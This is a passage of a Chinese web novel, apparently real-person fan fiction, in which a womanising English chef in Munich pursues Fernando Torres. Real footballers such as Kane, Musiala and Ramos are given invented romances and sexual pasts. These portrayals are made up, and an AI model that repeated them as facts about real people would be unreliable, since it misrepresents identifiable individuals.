那人以为他没听懂,又说了一句德语,“你好吗?” 丸辣,他还会说德语,自己怎么什么语言都不会呢,犹豫了一瞬,突然想到英语不是世界通用吗,于是很自豪的回答,“我很好。” “噢!英国人!英国哪里的?利物浦?”那人深色的眸子好像有水在流动。 利物浦?你才是利物浦人,我发音难道不够标准圆润吗?我发音难道像嘴里含块糖还土了吧唧的吗?唉,这人长得帅,脑子有问题。 “我是伦敦,不,伯明翰人。”他索性不装腔作势,直接把话越说越垮,伯明翰口音透着一股大碴子味儿,比利物浦的海蛎子味儿好不了多少。 “噢,等等。”他眼神好奇地上下打量着他,好像想起来什么。 克里奇利心想,不会吧,要认出来我了! 结果他却笑出一口小白牙,问他,“你这里面的衣服看上去是利物浦足球队的文化衫啊,你是利物浦球迷吗?” 他想起来自己的衣服湿漉漉的都是汗,留在索博斯罗伊家了,这件白T恤是索博给他的,非让他穿,不穿就不是利物浦球迷,他想说本来我也不是利物浦球迷,但是之前看他们和曼城打比赛,心情也跟娘家人似的,就没拒绝,现在竟然被认出来是球迷,那这个人也是球迷,不,他长的不像球迷,像哪个球星。 克里奇利在脑子里快速搜索了一番,可惜他不认识太多球星,只认识曼城、阿森纳、巴塞罗那、皇马、拜仁、利物浦这几个队里的几个人罢了。 那人表情略带失望,只好再次伸出他的麒麟臂向他主动介绍,“你好,抱歉,我的背包勾住了你的衣服,刚才又撞倒了你,我真的非常抱歉,我的名字叫费尔南多.托雷斯。”【你现在阅读的是魔蝎小说 moxiexs】 100-108 第101章 “哎呀!”克里奇…… “哎呀!”克里奇利大叫一声,恨自己记忆力不争气,才想起来这张脸在哪里见过,不就是前天刚看见的,在利物浦博物馆墙上挂着的吗? “托雷斯!费尔南多托雷斯!”他瞬间像变了个人,手里一团乱麻似的红毛线掉在地上他也不知道,上前就勾住了那人的脖子,一只手没抱过来,两只手才环住这个壮汉的肩膀,高兴的原地跳,一边跳一边像个小孩似的叫唤,“哦我的天,上帝!是托雷斯!” 托雷斯张开双臂,在空中停滞了一瞬,接着轻轻拍了拍他的后背。 又一个狂热粉丝,他心里像被温酒流过,热乎乎的。不,他连自己长什么样都不记得,怎么会是狂热粉丝呢,是装的,绝对是。 托雷斯推开他,看着他这张因过度兴奋而笑得合不拢嘴的样子,像极了得到棒棒糖的小孩,简单的也不像装的。 克里奇利也觉得自己有些ooc,怎么突然像被谁揪着推着就扒人身上去了,现在又像被点了穴似的傻站着不动。 托雷斯看了他半天,他才磕磕巴巴地介绍自己,“嗨,我叫布莱恩·克里奇利。”接着搓了搓手,抿着嘴唇不好意思的伸出手去。 “嗨,就算是托雷斯也要说声抱歉,你可以提个要求。比如…”他握了握克里奇利的手,然后把手里的外套递过去,外面很冷,你先穿我的吧。 可托雷斯也穿着短袖呢,他是身体里有小火炉吗,这个季节的德国虽然比英国暖和一点,也该穿个小皮衣了。 “我穿了你的衣服就不可以提要求了吗?”克里奇利挑了挑眉毛,不想放过这个从天而降的缘分,管他直男不直男,先用爪子按住。 “还要签个名吗?” “不愧是大明星,你签了名的衣服我还舍得穿吗?冻成冰棍也不会穿的。” “哈哈哈…”托雷斯爽朗的笑,看上去很喜欢和他聊天,都忘了自己要从哪个出口出去了。 “这样,告诉我下次怎么遇见你,再勾一次再撞一次也行,下次我可不会这么轻易被你撞飞了,还有,告诉我哪个健身房可以练成你这样。” 托雷斯摇摇头,嘴角自然的向上扬着,似乎对他的彩虹屁表示认可,还想再听他说下去,于是擅作主张的把外套披在他身上,又掏出手机示意他,“下次健身我叫着你。” “好!就这么说定了!”克里奇利也掏出手机和他交换了联系方式,还不忘告诉他自己在慕尼黑有个小店,欢迎他去坐坐。 两人的偶遇以一种极其罕见又颇具戏剧性的方式打开,又很自然流畅的仿佛一见如故。 其实,托雷斯已经认出他来了。 作为利物浦名宿被邀请去看了利物浦对曼城比赛的托雷斯,习惯了低调,一坐在商务包厢里没露面,他当然也看到了大屏里出现几秒的英国俏厨子,当时没有特别在意,只是觉得这也是英国的名人吧,不然怎么会人尽皆知。 一看到他真人,便觉得好像在哪见过,直到他说出自己的名字,托雷斯才在心里确认,果然是他,只是他本尊与荧幕上不同,刮了胡子好像涉世未深的小伙子,看上去也就20几岁。 克里奇利握着还热乎的联系方式,一遍又一遍的看,这是不是11个数字,有没有少一位,他的ins有没有回关我,对了,我的ins呢,好久没登录,密码是多少来着,他兴奋的像个兔子似的左蹦右蹦,出了门就找不着北了。 凯恩给他打电话问他在哪,他还没冷静下来,第一句话就是,“噢我的哥,你猜我刚才遇见谁了?” “谁呀?”凯恩已经在停车场等了他好一会了。 “托雷斯!费尔南多·托雷斯!”他比划着那个大块头,好像凯恩能看见似的。 “噢,托雷斯啊,那确实很惊喜!你真的有吸引球星的体质。怎么?跟他走了?”凯恩手指敲着方向盘,担心亲自来接他却扑个空。 “没有,我倒是想。” “赶紧来停车场,我下不去,我要是下去会把蹲到托雷斯的记者球迷给勾走的。” 克里奇利一愣,没想到出发前不让他来接自己的,他说派车来但还是亲自来了,真是我的好大哥。 凯恩接上他直接回了自己家,叫他别住酒店了,费那个钱干嘛,还不方便,不如和他住一起搭个伙,谁也不亏。 他想想也行,这离小店也不远,走着就过去了,这么多天,小店倒闭了没。 下午他就过去看看店还好吗,嗯,不出意料,冷清了许多,连牌子都被大风刮跑了只在门窗上临时贴着正在营业的标识,这副经理也太佛系了,只管维持平衡不给老板亏空就行。 再看看隔壁健身房,已经关门大吉。 估计穆西亚拉也是三分钟热度,才开了几天啊,一个月房租都瞎了。 这天晚上,他不到9点就伺候完客人准备收工。 打发走工作人员,他一个人趴在吧台上拿出手机准备给托雷斯发个信息。 这个点本来是他该去夜场寻欢的时间,莫名其妙就想安安静静的找个人聊天,刚拿出手机找到那个人的对话框,输入:[嗨!托雷斯!要不要出来喝一杯?] 刚要点击发送,又觉得自己太过轻浮,于是删了重新编辑:[嗨!托雷斯,吃饭了吗?] 又想到已经9点了还不吃饭吗?夜宵都可以吃了,不过像他那么自律的人是不会吃夜宵的吧。 正当他犹豫着要发什么的时候,叮咚来了一条信息。 托雷斯:[嗨!布莱恩,冒昧打扰你,上次你说你有个小店,我可以预约吗?] 克里奇利手一抖差点把手机掉地上,他激动的手指乱敲,打了好几个错别字又删删改改的发过去:[当然可以,托雷斯!什么时间?地址我发你。] 他叫他托雷斯,不是托雷斯先生,也不是费尔南多,而是一种介于老友和新友之间不左不右的暧昧称呼。 而托雷斯一上来就叫了他的名字,是一种以年长者自居的随意吧。 克里奇利一开始没反应过来,等他看到他直呼自己名字的时候,就知道想要追这个人恐怕有点难度。 他也许把自己看小了,要不怎么不称呼他克里奇利先生呢。这些细节他平时都不过脑子的,随着时间一点点过去,他竟然开始对这些有意的交往感到敏感。 托雷斯:[下周吧,我来德国学习考察,想请请拜仁的几个兄弟,是哈维阿隆索介绍我们认识的,到时候他也会来,还有拜仁的几个当家球员,凯恩,穆勒,诺伊尔等等。] 他和自己说的这么清楚干嘛,好像一个认识了很久的朋友,克里奇利不知道是开心还是担心,开心的是托雷斯一点没有明星架子,愿意和他多说点,担心的是托雷斯在解释自己来这里吃饭完全是为了公事,和他说明白比较好。 克里奇利:[你这么信任我呀!这么隆重的场合要选择我这个小店吗?我不在的时候,它都要倒闭了。] 他故意提到他不在的时候,其实是凡尔赛呢。 托雷斯怎么会不知道克里奇利的锋芒,他从英国打到西班牙,又从西班牙打到德国,效力的俱乐部哪个不是顶流,现在有缘遇到他,一定不能放过这个千载难逢的机会。 托雷斯:[要我实名夸你吗?英格兰十大杰出青年,国外餐饮传播大使…还有后面复制的一大堆,你想听吗?] 克里奇利:[哈哈哈…你竟然从网上搜我,我要是今晚不把你的进球集锦看一遍是不是都对不起你这份关注?] 托雷斯:[嗯,你看不完。] 他又凡尔赛上了。 两个人捧着手机聊了很久,不知不觉就十一点多了,克里奇利回去的路上感觉脚下轻飘飘的,像是跳了一晚上舞一样,特别放松特别开心,哼着小曲回到凯恩家。 凯恩还没睡,在黑着灯的客厅里坐着,他一回来吓他一跳,问凯恩干嘛呢,凯恩说冥想,顺便等你。 他哦了一声,想说哥你三更半夜不睡觉在黑灯瞎火的房间里坐着冥想是想吓死小偷吗。 凯恩见他回来了,把门锁好,走过去拍了拍他的肩膀,好像有什么好事今天不说明天就忘了似的对他说,“你偶像今天来我们俱乐部了,如果你想再见他,我可以帮你约他。” “我偶像?”克里奇利纳闷儿,他偶像是谁他都不知道。 “托雷斯啊!你不是整天念叨托雷斯,好大一个帅哥吗,他的衣服你都不舍得洗呢。” “啊…我有吗?”这么明显吗,克里奇利自己都不知道,喜欢一个人原来是这样的啊,凯恩这个大老粗也会觉察到自己发春了? 他不动声色的装作内心平静的样子去厨房拿出自己的半瓶酒,咕咚咕咚喝了几口,辣的他极度舒适。 结果他根本没有逃过凯恩的猫眼,“高兴了喝难过了喝,你是性情中人,不要藏啦,我比你大点,懂得都懂,快说,需不需要帮你约他!” “哈哈…我的亲哥,哈里。”他走过去抬手搭上凯恩的肩膀,潇洒自信地说,“我的偶像当然要自己约啦,不过必要时你要助攻一下哦。”他拍了拍凯恩的胸口,开心的以言表。 凯恩拿开他的手,故作生气的在他的后背上拍了一掌。 “我可警告你,穆西亚拉刚回过神来,不在我耳朵边叨叨你了,这个你要是给我开玩笑,被人家一掌拍死可别怪我没提醒你!” 第102章 克里奇利…… 克里奇利躺在床上,一点困意也没有,特别是狂刷托雷斯的进球集锦之后,被好多力挽狂澜的射门给搞得激动不已。以往蹦迪到现在的他竟然在床上狂刷小视频,刷完以后,身边没有床/友还得靠自己。 他捏了捏鼻梁,认真的思忖了一下,自己的座右铭是什么:只相信do,不相信love,肯和他do的就是love,他从不缺love。 但是他现在想不明白了,那个明晃晃的金发男人的身影正像洗/脑神曲般强势占据他的大脑,如果他的大脑可以划分空间,80%都是sex的部分竟然正被18k“纯爱”一点一点占据。 想谈恋爱的欲念愈发明显,让他在床上滚来滚去,焦躁难耐。 春天来了,万物复苏,又到了动物们那啥的季节,而他一年四季都是春天,走过路过的空气中都挥发着他那压不住的荷尔蒙气息。 包括梦境,他还没和托雷斯有电波连线就梦到了人家。 在梦里,好像在一个车站,在等他要接的人,陆陆续续从火车上下来很多人,他一眼就看到了那个身材高大,一头亮眼的金发,明眸皓齿的西班牙小王子,身披阳光翩翩而来。 他开车带着小王子穿过田野花香,来到一个渺无人烟的旷野上,在大自然的包容和阳光温暖的抚慰下,他和小王子唇齿相依热辣亲吻后趴在了小王子的腿上…… 小王子越长越大,像吹气球一样,从身形单薄的衣服架子摇身一变成了腱子肉高高隆起的大块头。 大块头把他揽入怀中,抱的紧紧的,生怕他跑掉。 柔软的发丝抚过他的脸颊,像妈妈的手轻轻拍着他入睡,有力的双臂带给他的安全感像爸爸努力撑着伞陪着他迎着大雨艰难的迈步,年少时所有的痛苦,愤怒,脆弱和缺爱在梦里通通被驱散… 醒来后,他的枕头湿了一片。 * 这两天,他的兴趣都在学西语上。 他给他阿根廷弟弟托马斯打电话,一聊就是一个小时,还不准他挂电话,就是学习简单上口的西语,让他迅速提高口语交际。 托马斯教他说,你好,你喜欢我吗?喜欢就来和我约会吧! 他说不行,你得教我点有深度的。比如,第一眼爱上的人,怎么舍得只做朋友。 托马斯捂着嘴笑说哥你又发春了,这次是谁? 他说没搞定的先不告诉你,不然见光死了怎么办。 托马斯沉默了一瞬,说完了哥,你真的完了,你这次恐怕又要栽了。 他只是说后悔没早点学西语,都去了西班牙还没学会入乡随俗,现在用时方恨少。 终于到了迎接他的“贵客”那一天。 他洗了两遍澡,喷了香水,又觉得太香会熏人,出去晒了一会太阳,一根烟都没抽,就为了保持自己香度适中,不会太刻意也不会太随意。 找了一身修身笔挺的西装穿上,头发抹上去露出额头和那双深情款款的大眼睛,胡茬浅浅的精修过,打上领结看上去成熟得体风度翩翩。 看着镜子里的自己,不由得自恋出声:“连我都想和你约会。” 这天他挂了店休,只为迎接这一桌重量级顾客。 托雷斯没让他久等,如约来到他的小店,当他带着除了哈维之外的一帮老顾客光临时,克里奇利后悔没好好经营小店,没扩大到把旁边的健身房也兼并进来,会不会不上档次,正局促着就看到了他梦里的金发小王子。 刚要和梦中情人来个热情洋溢的拥抱,就看到了双手插兜低着头走在最后的穆西亚拉。 他刚咧开的嘴角又慢慢压下来,突然感到一阵心慌,他怎么也来了。 唉,这是在慕尼黑,又是请拜仁的来,迟早得见面,怎么办,有一种情债找上门来要让他吃不了兜着走的预感。 他和顾客们一一握手,被凯恩刚要呼啦头毛却发现他头发打了发胶改为捏了捏他的肩膀,看的托雷斯有些惊讶,觉得自己今晚没选错地儿,他们还挺熟。 结果穆西亚拉上前毫不客气的搂着他脖子,照着他小腹就怼了一拳。 力气不大,那也怼的他弯了弯腰,接着像个日本人似的,卑躬屈膝地推着穆西亚拉进去。 他脸上火/辣辣的瞥了一眼托雷斯,内心直呼:出糗大发了,还我玉树临风的形象。 接下来本想大显身手的他笨拙的像个刚学会走路的孩子,不是碰倒了杯子就是火烧了眉毛,引得帮厨频频看他,以为他回了趟国掉了看家的技能。 穆西亚拉根本不是来参加这个高端饭局的,因为他和托雷斯不熟,但是他听说了饭局地点后主动要求参加,再说哈维老师来,他也想见见,主要是想见那个可恶的英国人,于是就有了凯恩和穆勒客带客,托雷斯也很欢迎,却不知道他们已经是这里的常客。 穆西亚拉才不是来吃饭的,他看每一道菜都来气,最后越想越气,直接离席把正在做饭的厨子拖进工作间,揪着他衣领抵在门板上,随手抄起锅铲指着他鼻子骂。 “你还敢回来呀!跑啊!你倒是跑啊!”对于自己无条件爱上一个不属于自己的人,穆西亚拉还是感到愤愤不平。 “我只是回国了,没跑。”他顺着穆西亚拉的手腕摸到了锅铲,慢慢压下来,然后露出标志性的微笑。 “别笑!气死我了,凭空消失是吧,电话不接玩失踪是吧,都是谁给你惯的臭毛病!” “对不起,贾马尔。”他很少因为这个道歉,走就是走,根本不需要对别人交待些什么,他们之间除了肌肤之亲别的什么关系都没有,但面对自己也曾认真面对过的德国小鹿,不心软是不可能的。“国家比赛日,我回国不是正常的嘛。”他还为自己开脱。 穆西亚拉才不稀罕他的一句对不起,也不想听他解释,他就是这样一匹烈马,谁能栓住算他本事,这次回国搞不好又搞了一些事情,不然怎么会无端端成了利物浦家属? “躲什么躲?做朋友很难吗?我又不缠着你!”穆西亚拉声音小下去,皱着眉头看上去有些多愁善感。 他不缠着他,他都驻扎在隔壁要把他的店吃亏空了,后来干脆住他店里天天看着他,他不缠着他,他真的头铁恨不得跟他回英国,他也有英国国籍,只是国家比赛日他要代表德国出战。 现在他想明白了,克里奇利永远是最遥不可及的那颗星,一直帅到老的那种妖精,但他就是气不过,在那双深情款款的眼睛里,明明有自己位置的。 克里奇利可不能和他在这耽误太长时间,还有一桌客人等着他呢。 他捏了捏穆西亚拉的肩膀,对他说,“贾马尔,我不相信爱情,但我信命运,你看那边那个人。”他扳过他的肩膀,目光延伸到那个专注听哈维讲话的金发男人,在穆西亚拉的耳边低声说,“你猜他是直的吗?” “布莱恩,你真是一个大混蛋。”穆西亚拉曲肘再次击打了他的肋骨,怪他连借口都不编一个给自己,“我也曾以为你是我的一见钟情。” 克里奇利弯了弯腰,下巴搁在他的肩头,“噢,贾马尔,我太老…不,你太年轻了。” 穆西亚拉不说话了,他22,布莱恩31,托雷斯41,他没法去较真这个年龄差,真正的阻碍是克里奇利不想和自己发展,而自己还在现役,也没法发展。 光靠任性和基情是不行的。糟糕曲折虽然让自己难受的站不起来,也要面对现实,他甚至还有点感激克里奇利,让他本该遭遇一蹶不振的时候及时止损,给了自己想要的东西却不让自己深陷。 他觉得自己瞬间长大了,以后不能听信男人的鬼话,也不能碰这种风流快活人见人爱的大总攻,即便是事先默认了不谈感情的行为,也不能再投放感情。 他看着克里奇利的眼睛说,“确实,你太老了,那个人,更老。” 克里奇利笑着摇了摇头,自知理亏也不和他辩解。 他又说,“不过我们还是有过美好的回忆,这样就挺好了,滚吧,我放手了,以后还是朋友。” 克里奇利伸手和他做朋友,却又被他偷袭了。 做朋友不是好好握个手吗,怎么又变脸,这没边界感的小鹿,到处乱撞呢! 克里奇利身子不稳,下巴垫在穆西亚拉的肩膀上,脸色煞白,弓着身子,手不知道往哪放,咬了咬牙还是把这份难言之痛咽了下去。 穆西亚拉最后扔给他一句话,说你要保重,托雷斯不仅能打,手底下还有一帮马竞的兵,个个身强力壮,训练之前先健身,收拾你就跟吃饭一样简单。 什么比喻啊这是,克里奇利内心翻了个白眼,还没开始钓呢,就咒我被揍是吧,这个臭小子,从进来到现在对我动手几次了,要不是今天要注意形象,高低拉他去休息间打辟谷! 穆西亚拉红着脸回到餐位上,就被今天的正主给关心了。 “怎么了,贾马尔,出去这么久不要紧吧?”托雷斯和哈维他们聊天,余光把一隅发生的事都看见了。 “没什么,和熟人打个招呼。”穆西亚拉佯装镇定。 “看起来你们跟这里的大厨都很熟,而且今天他特意为了这个饭局清空了场地,不介意我把他请过来喝一杯吧?” 穆西亚拉点了点头又晃了晃头,不知道自己怎么回事,别别扭扭的放不开。 凯恩听了好像让他上场似的,立刻起身,用餐巾擦了擦手,说,“啊,你说布莱恩吗,他是我小老弟,回伦敦住我家的,我去叫他。” 穆勒赶紧推了他一把,说,“快去快去!” 第103章 克里奇利做完最后…… 克里奇利做完最后一道甜品刚要亲自端上去,就看到实际年龄差不了1岁但看上去比他大很多的老哥搓着手一脸坏笑的走过来。 克里奇利端着盘子有些无措的看着他,“怎么?还没吃饱?要抢甜品啦?” “抢你。”凯恩绕到他身后,推着他后背往包间里走。 “等等。”患有中度强迫症的他还没往甜品上放薄荷叶,想随手抓一把薄荷叶放到那些小蛋糕上,凯恩就一把抢去了托盘,像跳舞似的转了一圈,另一只手就去抓他的手腕,一边拉着他一边说,“赶紧的,你crush要见你!” 他只好任由凯恩牵着来到小包间里,本来打好草稿要和今晚的正主说一句西语,告诉他你来到这里让我的小破店要东山再起了之类的彩虹屁,却在看到一屋子人热切的盯着他时一时语塞,到嘴边的西语又不好意思说了。 托雷斯好像有一种过来人的自如和敏锐如鹰的洞察力,他倒是先夸了今晚独当一面的大厨。 托雷斯:“嘿,布莱恩,你的手艺真的很棒!” 哈维接着对他竖起大拇指,“是啊,不知道南多怎么知道这里的,明明是第一次来慕尼黑,就遇到厨神,让我不得不佩服南多的眼光和人脉了。” 其他人也跟着附和,只有穆西亚拉撇撇嘴,嘟囔了一句,“夸的一会就开屏了!” 接着穆勒就用胳膊肘怼了怼他,说,“你怎么回事,饭菜不合口味吗?一直拉长个脸。” 他抱着肩膀像被家长批评饭桌上不懂礼貌的小孩,委屈巴巴地快要哭出来。 而那边的克里奇利已经用西语表达了感谢,并落座在凯恩和托雷斯之间。 托雷斯继续夸他:“按照你这个水平和敬业程度,你这个小店很快就可以扩大规模了。” 他摆摆手说:“水平是有,敬业不好说,我就是随便玩玩。”他的措辞语气依然透着玩世不恭的态度和骄傲自大的本性,一时半会改不了。 凯恩在一边想给他说好话,不料没助攻上反倒把球传给了对面,他说,“玩你都能玩出花来,还谦虚上了。” 大哥,我这可不是谦虚,你听不出来吗,克里奇利摸摸鼻梁,一向脸皮厚的跟钢板似的此刻耳尖却微微泛红。 穆西亚拉听了在一边偷笑,心想你这花心大萝卜,梗老多了。 接着他也补充了一句,“是啊,你还特别擅长开发新口味。” 穆勒不知他们在打什么哑迷,也跟着说了一句,“是是,他换的很勤,你看你看?*? 这次(菜品)又不一样了”,他拉着没来几次的诺伊尔和他炫耀自己吃的好,诺伊尔却隐隐发觉他们不在一个频道上。 克里奇利身子有些僵硬,酝酿了一下刚想把话题转移出去,托雷斯就轻松的一手搭在他肩膀上,一手举起了杯,眼尾宠溺的扫了他一眼,继续夸他,“你随便玩玩都能玩出这么多花样来,而且个个都是硬菜,这才叫人佩服呢,是不是啊各位?” 不知道他是有心还是无意,一句话说的凯恩和穆西亚拉都咳嗽了。 “来,敬布莱恩,今天辛苦了!”托雷斯先和他碰了碰杯,随后扫了一圈,一口干了。 不擅饮酒的他刚才都是小口小口的喝,这次却一口闷了,足已显示他今晚有多么开心和满足。 克里奇利也为能帮到他感到高兴,他也把酒干了,接着又给托雷斯倒上一小口,对他说,“少喝点,情谊到了就行。” 托雷斯听了表情微微有些惊讶,随后弯起了眼睛,心绪仿佛回到了二十年前,那时曾和拉莫斯把酒言欢,而拉莫斯每次只给自己倒一小口,并低声对自己说“少喝点”,然后他一仰脖把酒喝干,再笑着揉乱自己的金毛,一整瓶酒自己喝了三分之一都不到。 拉莫斯还叫着他一起健身,说他太瘦身体对抗不行,健身时一直在用手推他拉他给他制造对抗的“麻烦”,他说平时训练还不够你折腾的,健个身也要给我上强度是吧,拉莫斯就红着脸只顾着笑,胳膊和大腿依然贴着他靠着他黏糊着他。 那时还小,他不懂这些队友情之外的东西,直到比赛中头部受了撞击失去意识,被队友急救后抬出场地,拉莫斯不顾同城死敌的对立情绪,跑到马竞训练场大闹,又去了医院抱着他哭,说自己不能没有他,他才感觉到一丝朋友之上的触动。 但是直到现在,他也没有将这份感情拿出来细细咀嚼,他一直认为,藏在心里的那份真挚烈火,只要没有引燃,就一直让他在内心深处烧,如果可以,就算把他内心烧成一片荒原也绝不说出去。 但如果时间倒退20年呢?他想对拉莫斯说,“水子,如果我有你一半的桀骜不驯,恐怕就忍不住要说出来了,而我相信你忍的更为艰难。” 可是等到国家队再次合练的时候却收到了拉莫斯的喜帖,他要结婚了。 在身心接近崩溃的那段日子,托雷斯只好将心底的悲伤和困惑化为巨大的战斗力,在欧洲杯的赛场上冷漠的强势进球,助西班牙一举夺冠,并拿到了欧洲金靴,他和拉莫斯也一起入选了最佳阵容。 胜利的喜悦包容了两个年轻人越界的情感,他们一起捧起德劳内杯时,弯弯的笑眼已经诉说了一切。 然而一切都过去了,托雷斯已经41岁,带着满身荣誉和骄傲还有不可避免的一些遗憾退役,而39岁的拉莫斯还在踢球,虽然道路已不同,但他们都有一个共同点,就是永不服输,永远视对方为最好的朋友,每年的生日他们彼此都会送上祝福,有时候甚至文案都心照不宣的雷同。 怎么会突然想到这些,托雷斯放下酒杯,思绪被哈哈大笑的哈维拉了回来,原来是无聊的诺伊尔讲了个不太好笑的笑话,他说上一场比赛我真想躺下,穆勒问他为什么,他说因为你们踢的无聊把我踢睡着了呗。 凯恩怕他们不理解德式幽默,跟着补了一句,“夸就明着夸,小新!”结果把冷幽默推进冰窟,只有哈维给面子干笑了几声。 克里奇利见他们都在说足球相关的话题,自己赖在托雷斯身边好像也不太合适,于是他在托雷斯耳边轻声说了句抱歉就以收拾厨房为由先离开了,没想到心思缜密的托雷斯随后就跟着他去了大厅的操作台。 这里与包间只合着一扇窗,刚才托雷斯透过那扇窗看到了克里奇利和穆西亚拉在门口的密切交谈。 托雷斯倒是没开口问,只是盯着橱窗里剩下的奶油蛋糕出神。 克里奇利见他跟过来,心里一阵痴心妄想,他不会看出来我这一晚上虽然眼神不那么刻意,心思可都像钩子一样钩住他了吧。 想想他就忍不住笑,这次换自己来钩他,可行不可行。 “托雷斯,嗯,我也可以叫你南多吗?”他对刚才哈维对他的称呼记忆犹深。 “呵…你才多大。”托雷斯嘴角上扬,说完后又想了想,语气中透着年龄优势却又半开玩笑地说,“叫吧,当我心情好的时候脾气也好,你不会感觉我太严肃了就好。” “怎么会?”克里奇利和他接触的这两次包括和他在电话短信中的交流,从未感觉他严肃和不好接近,虽然他是巨星,是圣婴,是剑拔弩张的大中锋铁9号,也没有那种盛气凌人的优越感,他的优越感全在清俊帅气的外表上,不用去了解他那逆天的才能就先被盛世美颜给暴击。 不管他是不是健身过度,让一干球迷声讨关闭马德里健身房,特别是像托雷斯这样的健身狂魔一律禁止进入,那也不影响他清冷高贵的气质和卓越的身材对克里奇利的吸引,这一身饱满的腱子肉还让他羡慕不已,不知廉耻地垂涎欲滴呢,不知道捏上去手感如何。 而现在,西班牙壮硕小王子正被一个个好看的奶油蛋糕给吸引住。 这其实就是普通的蛋糕,普通的奶油,普通的造型,看起来有些像老式玛芬顶着个雪山,实际上是店里为了给等位的客人还有嗜甜如命的小孩子准备的。 “你想要来一块吗?南多。”克里奇利从橱窗里拿出一块蛋糕,插上小叉子递给他。 本来已经很饱再也吃不下任何东西而且又控糖很久的托雷斯,还是伸手接了过来并说了一句谢谢。 他稍微抿了一口,挑了挑眉,又开始夸他,“这蛋糕看上去很甜腻,却意外的爽口是怎么回事?” 克里奇利没解释其实就是普通的奶油蛋糕加上一些茶粉和柠檬而已,他趴在橱柜上,歪着头对这个夸了他一晚上的帅哥笑,豁亮的眼睛盯着他看,声音温雅轻灵,说了一句,“亲爱的南多,这块蛋糕实际上是对健身人士即时的诱惑,你在克制本能与浅尝辄止中还是选择了后者,我为你感到高兴。” 这话听上去有些意味深长,让成熟冷静的托雷斯有了一丝异样,眼神中闪过一抹微不可查的慌乱。 再次抬头看向克里奇利时,已然撞进了那双仿佛等待了20年的灼灼目光里。 第104章 克里奇利想和他谈恋爱,但用力过猛的表情总让人觉得他想睡人。 他趴在桌上盯着托雷斯良久,想冒昧的问他感情生活,这时包间里的客人陆陆续续出来,已然结束了愉快的晚宴正要离开。 克里奇利不得不送他们到门口,眼巴巴地看着他还没试探彻底的小王子离开,心里像猫挠一样,闹心巴拉的。 就在他想问他下次见是什么时候的时候,托雷斯主动上前和他握手,轻描淡写的说了一句,“再会,我的朋友,三天后我将离开慕尼黑。” 三天,对简单、高效、一来一往就可以轻松拿下猎物的克里奇利来说,不算什么,他完全可以凭借大量的暧昧言行来攻击对方,可要是想谈恋爱,三天能干什么? 他整夜无法入睡,刷小视频寻找刻意制造浪漫的情节,就像他们第一次见面那样,充满了惊喜,意外和叫做缘分的东西。 这在他以前的生活里是不存在的,往往这个点他都在夜场和人贴身跳舞呢,可现在拿着手机躺床上搜恋爱攻略的他怕不是疯了,自己都骂自己想不开。 可那又能怎么办?莫名其妙喜欢一个人竟然不是想睡他,而是想和他在一起,无论白天黑夜,就想见到他。 刚分开脑子里全是他,闭上眼也是他,耳边还萦绕着他温柔有力的西式英语,连不经意的弹舌都那么可爱。 凯恩说托雷斯会在拜仁度过3天的旅行,包括看一场主场比赛,如果你想去,我还可以带你去家属席。 他想都没想就一口答应下来,因为他看到的恋爱攻略第一条就是在喜欢的人面前经常出现,让你看上去无处不在。 凯恩笑骂他这个没良心的,第一次邀请他去看比赛都没这么痛快,他却说,“我可以看你一辈子啊,可是托雷斯只有3天时间了解我,错过了我担心他会后悔。” 凯恩笑着拍了拍他的后脑勺,虽说很宠爱这个投缘的义弟,但这家伙出了名的花心,不说教他几句好像对他不负责任,于是板起脸来提醒他,“托雷斯业界口碑很硬,你要是不当回事还是别去招惹他,不然他ko你是小事,搞得彼此关系僵了可就不好了。” 克里奇利无语,他都ko他了还管什么关系干嘛,这老哥一本正经胡说八道,无非就是想让自己安稳下来罢了。 他说放心吧哈里,我不会一上来就问他上还是下的。 凯恩又拍了拍他的头,这次力气大了点。 于是再见面时是在安联球场的外面。克里奇利和其他拜仁的家属在导览的带领下准备先进入球场内部参观。 这时托雷斯和球队工作人员一行出现在场馆内部人员专用通道口。 克里奇利脱离了队伍,一路小跑着来到心上人面前,只为了说一句,“嗨!南多!” 托雷斯笑意盈盈的拉着他给接待他的拜仁高层介绍,“不好意思,这是我在慕尼黑的英国朋友,布莱恩.克里奇利先生。” 拜仁高层听了眼睛一亮,一边与他握手一边说,“啊,早有耳闻英国名厨克里奇利先生在慕尼黑,我还不相信,今天竟然见到了,有兴趣一会比赛结束后聊聊吗?” 克里奇利知道他什么意思,于是拍拍胸脯说,“放心吧,我已经喂饱了你们的正印中锋,今天一定会赢下比赛的!” 接着他不顾他们的商业吹捧拉着托雷斯到一边,急不可耐的向他发出了自己的第一个约会请求,赛后一起去喝一杯吧!喝什么都行! 托雷斯看着他像小孩似的眼巴巴地望着自己,好像不答应他是一件很残忍的事,就像他想着以后自己的孩子要什么自己都会给他买一样,不想拒绝那样一双充满期待的眼睛。 “嗯,喝完陪我去看个电影吧。”他不仅满足小孩子要买玩具的请求,还大发童心的要陪孩子玩一晚上。 看电影?那再好不过了,是恋爱攻略第二条,不用自己提就可以实现,托雷斯真是大好人,不愧是自己喜欢的人! 克里奇利从未觉得一场球赛时间这么长,凯恩怎么还不杀死比赛,4-0了也不能提前结束吗,好烦。 终于结束了,克里奇利打电话给他,声音太嘈杂,听不清对面说什么,就在他喂喂喂说了半天的时候那个人已经举着手机出现在他面前。 什么信号都比不过两个人的同性相吸来的快。 于是他们先去了慕尼黑的一家传统咖啡店,这家店在巷子深处不那么显眼,但还是在店门口遇见了几个看完比赛打发时间的球迷,克里奇利有点担心托雷斯被认出来,于是小心地问他,“要不换一家?” 托雷斯也考虑到同样的情况,他是担心克里奇利被认出来,因为他们都是名人,克里奇利还是个话题人物,虽然德国人不那么八卦,也要低调点比较好。 他把克里奇利拉到一边,说,“你在这等着,我去买。”说完就进了咖啡店。 克里奇利只好在门口等他,不一会,托雷斯就拿着两杯咖啡出来,递给他一杯。 他接过来温热的咖啡杯,手心里都是暖意,轻啜了一口,一点都不苦,里面加了奶油和核桃碎还有枫糖的味道,所以到底都是哪些狠人在喝冰美式呀,哪里比得上这杯暖暖的奶咖啊! 两个人手里拿着咖啡走在慕尼黑清凉的夜色里,像普通的不能再普通的一对小情侣,喝咖啡,散步,聊天,走一路肩膀撞来撞去的,不知不觉滋生着只有他们俩才懂的浪漫电波。 克里奇利听他说要看电影,于是拿手机买票,就近只有一家影院,符合时间点的也只有一部爱情片,看简介好像也不是多有意思,但是总不能邀请他去酒店睡觉吧,总?和他在一起无论做什么就算压马路也觉得开心。 买好票后,克里奇利拉着他往电影院跑,也不知道跑个什么劲儿,明明电影不是多吸引人,但是让他看不到电影开头就觉得不舒服。 